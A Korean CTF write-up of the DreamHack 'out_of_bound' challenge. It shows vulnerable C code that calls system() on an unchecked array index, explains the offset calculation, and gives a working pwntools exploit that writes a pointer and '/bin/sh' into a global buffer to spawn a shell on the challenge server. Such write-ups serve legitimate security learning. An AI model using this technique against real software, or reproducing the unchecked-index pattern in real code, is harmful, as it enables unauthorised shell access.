본문 바로가기

DreamHack: System Hacking/F Stage 9

out_of_bound

out of bound란

배열은 데이터들의 연속된 집합이므로, 배열의 크기를 벗어나는 index를 줬을 때 그 위치에 해당하는 데이터에 비정상적으로 접근할 수 있는 것을 악용하는 것이 out of bound 공격의 개념이다.

 

out of bound의 개념 자체는 굉장히 단순해서 이 카테고리(Stage 9)에서 개념을 설명하는 글은 생략했다.

 

보호 기법

 

소스 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

exploit 설계

1. read(0, name, sizeof(name));을 통해 name에 "name[4]의 주소"+"/bin/sh\x00"을 넣은 후
2. scanf("%d", &idx);을 통해 system(command[idx]);의 command[idx]가 char name을 참조하게 하여 system("/bin/sh")이 실행되게 한다.

★"name[4]의 주소" + "/bin/sh\x00"에서 name[4]의 주소를 넣어주는 이유는 system의 인자는 const *char형이기 때문이다. 따라서 name[4]의 위치부터 원하는 인자를 넣어주고, name[0]의 위치에는 name[4]의 주소를 적어 system(const *char)가 name[4]를 참조하게 하여, 내가 원하는 값을 인자로 하는 system 함수를 실행하게 하기 위함이다.

 

name[ ]과 command[ ] 주소 계산

name[ ]이 command[ ]보다 76만큼 뒤에 위치해있음을 알 수 있다. 따라서 

scanf("%d", &idx);

system(command[idx]);

에서 idx의 값으로 19를 줘서(->command는 char *형 배열이기 때문에 32bit 아키텍처에서는 한 원소가 4byte만큼의 크기를 차지한다. 따라서 4*19 = 76) system()이 name[0]을 참조하게 하면 될 것이다.

 

exploit(out_of_bound.py)

from pwn import *
context.arch = 'i386'

p = remote('host3.dreamhack.games', 12287)

payload = p32(0x0804a0ac+4) + b"/bin/sh\x00"
p.sendafter(b'Admin name: ', payload)
p.sendafter(b'What do you want?: ', b'19')

p.interactive()